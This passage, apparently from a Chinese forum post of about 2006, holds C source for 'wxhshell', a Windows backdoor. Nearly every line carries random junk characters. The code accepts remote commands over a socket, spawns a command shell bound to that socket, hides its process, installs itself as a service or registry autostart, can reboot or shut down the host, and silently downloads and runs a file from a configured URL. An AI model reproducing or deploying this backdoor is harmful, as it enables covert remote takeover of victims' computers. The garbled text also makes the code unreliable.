    switch(cmd[0]) { N0,wT6.  
  BxS\ "W  
  // 帮助 ]Nz~4ebB  
  case '?': { Mk Er|w'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Wn={1Ts"  
    break; 7F!_gj p  
  } xT6&;,|`  
  // 安装  yl0&|Ub  
  case 'i': { y-w=4_W  
    if(Install()) e C?adCb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ouL/tt_~  
    else L}T:Y).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f 0A0uU8y  
    break; R@ N I  
    } a{v1[i\  
  // 卸载 ^I*</w8  
  case 'r': { /g BB  
    if(Uninstall()) d!mtSOh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ms@*JCL!t  
    else [p^N].K$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X`JWYb4  
    break; "7mY s)=  
    } RB`Emp&T  
  // 显示 wxhshell 所在路径 #  -e  
  case 'p': { WvQK$}Ax4N  
    char svExeFile[MAX_PATH]; *$~H=4t  
    strcpy(svExeFile,"\n\r"); DN3#W w2[r  
      strcat(svExeFile,ExeFile); BQu_)@  
        send(wsh,svExeFile,strlen(svExeFile),0); kclClB:PS  
    break; W ZdEfY{  
    } #; CC"  
  // 重启 >>oR@  
  case 'b': { #9M6 q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YNyaz\L  
    if(Boot(REBOOT)) MB06=N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f<JwF<  
    else { nk|j(D  
    closesocket(wsh); /n;Ll](ri  
    ExitThread(0); (L}  
    } rH Et]Xa  
    break; (C>FM8$J  
    } 4=!SG4~o  
  // 关机 yr?*{;  
  case 'd': { a+sHW<QeS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3omFd#EP  
    if(Boot(SHUTDOWN)) " uf*?m3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D!< [\ G  
    else { [!H2i p-  
    closesocket(wsh); o=@ 0Bd8  
    ExitThread(0); d$Y3 a^O|  
    } t\Pn67t  
    break; ^PA >t$  
    } x(pq!+~K  
  // 获取shell |U)m'W-(q  
  case 's': { ilJeI@  
    CmdShell(wsh); ^L#\z7  
    closesocket(wsh); R1OC7q  
    ExitThread(0); [!1z; /  
    break; 29]-s Utqv  
  } 3 r4QB  
  // 退出 k]?M^jrm  
  case 'x': { tl9=u-D13@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mwp[?#1j  
    CloseIt(wsh); y"q7Gx*^j  
    break; \9k$pC+l  
    } j}$dYbf$  
  // 离开 WwG +Xa  
  case 'q': { jR-DH]@y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &U q++f6  
    closesocket(wsh); o_; pEe  
    WSACleanup(); J%}9"Q5  
    exit(1); g-lF{Z  
    break; 5y-8_)y8o  
        } AKs=2N> 7  
  } C$Pe<C#  
  } $Lg% CY  
%{qJkjG  
  // 提示信息 NJK?5{H'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .I\)1kjX  
} hDa I@_86  
  } *%< Ku&C  
YF/@]6j  
  return; {T|sU\|Q  
} cfI5KLG~#  
[GKSQt{)  
// shell模块句柄 Cx$C+  
int CmdShell(SOCKET sock) v\7k  
{ ZK,}3b{  
STARTUPINFO si; M7z>ugk"  
ZeroMemory(&si,sizeof(si)); ER,,K._?B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +W|MAJtg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KY'"Mg^!  
PROCESS_INFORMATION ProcessInfo; 18JhC*in  
char cmdline[]="cmd"; k<W n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $mFsf)1]]?  
  return 0; Jg#L8>p1  
} 09?n5x!6  
nTrfbK@  
// 自身启动模式 <q Z"W6&&  
int StartFromService(void) Q|eRek  
{ Cr0 \7  
typedef struct Y#'mALC2  
{ +<&\*VR  
  DWORD ExitStatus; N_S>%Z+  
  DWORD PebBaseAddress; LL3RC6;e  
  DWORD AffinityMask; G#n99X@-  
  DWORD BasePriority; {MX_t/o=f  
  ULONG UniqueProcessId; XP'Mv_!Z  
  ULONG InheritedFromUniqueProcessId; <jd S0YT  
}   PROCESS_BASIC_INFORMATION; %4QCUc*lr  
dLOUL9hf  
PROCNTQSIP NtQueryInformationProcess; N{Og; roGD  
xR+=F1y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f:iK5g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ht^MY  
*]G&pmMs  
  HANDLE             hProcess; !1<x@%  
  PROCESS_BASIC_INFORMATION pbi; E.W7`zl  
tV2SX7N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o?A/  
  if(NULL == hInst ) return 0; 5wXe^G  
t6 :;0[j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {m5tgVi&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W"9iFj X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N{n}]Js1D-  
b:fy  
  if (!NtQueryInformationProcess) return 0; '>FJk`iI  
-x )(2|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pGw|T~e%  
  if(!hProcess) return 0; TnET1$@qr*  
u:H@]z(x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]RHR>=;  
}D.?O,ue  
  CloseHandle(hProcess); A(AyLxB47*  
3}O.B r|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g3{)AX[Uy  
if(hProcess==NULL) return 0; e #l/jFJU  
rN? L8  
HMODULE hMod; -F,o@5W>Y  
char procName[255]; U,/NygB~  
unsigned long cbNeeded; R`=IYnoOA  
<x@\3{{U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e2w$":6>  
ixN>KwH  
  CloseHandle(hProcess); aq3evm  
:6LOb f\01  
if(strstr(procName,"services")) return 1; // 以服务启动 J)(H-xvV  
&rj6<b1A  
  return 0; // 注册表启动 Ne/jvWWN  
} /:dVW" A|  
Y.rHl4  
// 主模块 (\FjbY9&  
int StartWxhshell(LPSTR lpCmdLine) }|f\'S   
{ ( _]{[dFr%  
  SOCKET wsl; IBl}.o&]B#  
BOOL val=TRUE; l/OG 79qq  
  int port=0; !7J;h{3Uw  
  struct sockaddr_in door; Z91gAy^z<  
FM9b0qE  
  if(wscfg.ws_autoins) Install(); W#'c6Hq2c  
xMg&>}5  
port=atoi(lpCmdLine); MnFem $ @  
b0LjNO@<  
if(port<=0) port=wscfg.ws_port; OB3AZH$  
4s*P5w_'/  
  WSADATA data; Mr:*l`b_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lj%8(Xu  
`(aU_r=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W"Dj+/uS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9.e?<u*-z  
  door.sin_family = AF_INET; n]4)~ZIAU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); heZ)+}U~  
  door.sin_port = htons(port); 93fKv  
`u:U{m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #c4LdZu9  
closesocket(wsl); Jf`;F :  
return 1; M4M 4*o  
} (d993~|h  
*Q=-7a m  
  if(listen(wsl,2) == INVALID_SOCKET) { F']Vg31c  
closesocket(wsl); 6 6x} |7  
return 1; x=1G|<z%  
} =B1t ?( "  
  Wxhshell(wsl); h0n0Dc{4  
  WSACleanup(); k_V1x0sZ  
,Z_nV+l_  
return 0; F-k1yZ?^  
8!>uC&bE8  
} DS>s_3V  
M; zRf3S  
// 以NT服务方式启动 SrK;b .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) doc5;?6   
{ fFXs:(  
DWORD   status = 0; ~2@U85"o  
  DWORD   specificError = 0xfffffff; K *vNv 4  
V2w[0^ L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {z@vSQ=)=P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G+[>or}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aC3\Hs  
  serviceStatus.dwWin32ExitCode     = 0; avO+1<`4B  
  serviceStatus.dwServiceSpecificExitCode = 0; ABhza|  
  serviceStatus.dwCheckPoint       = 0; vo Q,K9  
  serviceStatus.dwWaitHint       = 0; Ms1\J2  
* V W \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ygpC1nN  
  if (hServiceStatusHandle==0) return; d;lp^K M  
MBcOIy[&A  
status = GetLastError(); XP2=x_"y  
  if (status!=NO_ERROR) 2!68W X  
{ +6<MK;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LDV{#5J  
    serviceStatus.dwCheckPoint       = 0; \07Vh6cj  
    serviceStatus.dwWaitHint       = 0; }J`{g/  
    serviceStatus.dwWin32ExitCode     = status; 2l5@gDk5  
    serviceStatus.dwServiceSpecificExitCode = specificError; [%l+ C~m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 58e{WC  
    return; Zy*}C,Z  
  } 3{MIBMA  
w#PaN83+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WS(@KN  
  serviceStatus.dwCheckPoint       = 0; m OmT]X  
  serviceStatus.dwWaitHint       = 0; N0 ?O*a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'Iyk`=R  
}  vA`[#(C  
5tq$SF42X  
// 处理NT服务事件,比如:启动、停止 MiRH i<g0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \TMRS(  
{ <S$y=>.9  
switch(fdwControl) w5n>hz_5  
{ nj7Ri=lyS  
case SERVICE_CONTROL_STOP: Z/-%Eb]L1  
  serviceStatus.dwWin32ExitCode = 0; \ vJ*3H6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vy|}\%*r~  
  serviceStatus.dwCheckPoint   = 0; Bl`e+&b  
  serviceStatus.dwWaitHint     = 0; 6w1:3~a  
  { m(OBk;S~   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? !~au0  
  } =:"@YD^a4  
  return; &u=FLp5  
case SERVICE_CONTROL_PAUSE: mz\ m^g3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >MQW{^  
  break; -IX;r1UD  
case SERVICE_CONTROL_CONTINUE: MeplM$9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {{EQM +  
  break; q6_1`Ew  
case SERVICE_CONTROL_INTERROGATE: #UWQ (+F  
  break; ?J6hiQvL  
}; qA30z%#z_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sL/Lw WH  
} yp*kMC,3  
n.1a1Tf  
// 标准应用程序主函数  &R^mpV5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _R-#I  
{ WLh_b)V|  
LoCxoAg  
// 获取操作系统版本 i;dr(c/ft  
OsIsNt=GetOsVer(); in+`zfUJ9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {?L}qV  
[e^i".  
  // 从命令行安装 ;N1FP*  
  if(strpbrk(lpCmdLine,"iI")) Install(); v#/,,)m  
uPo>?hpq+  
  // 下载执行文件 n--`zx-['  
if(wscfg.ws_downexe) { Ppp&3h[dW)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X*Q7Yu  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9QX{b+}"e  
} s[s^z<4G  
9n%W-R.  
if(!OsIsNt) { ljf9L:L  
// 如果时win9x,隐藏进程并且设置为注册表启动 EhVnt#`Si  
HideProc(); Z$hxo )|  
StartWxhshell(lpCmdLine); X|q0m3jt  
} zYs? w=  
else (f.A5~e  
  if(StartFromService()) ?t%5/  
  // 以服务方式启动 <kM%z{p  
  StartServiceCtrlDispatcher(DispatchTable); EwOTG Y{0p  
else ?<}qx`+%Q  
  // 普通方式启动 'V>+G>U  
  StartWxhshell(lpCmdLine); #M>E{w9  
Anm5Cvt;i  
return 0; 02+^rqIx5  
}
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只看该作者 1 发表于: 2006-10-10
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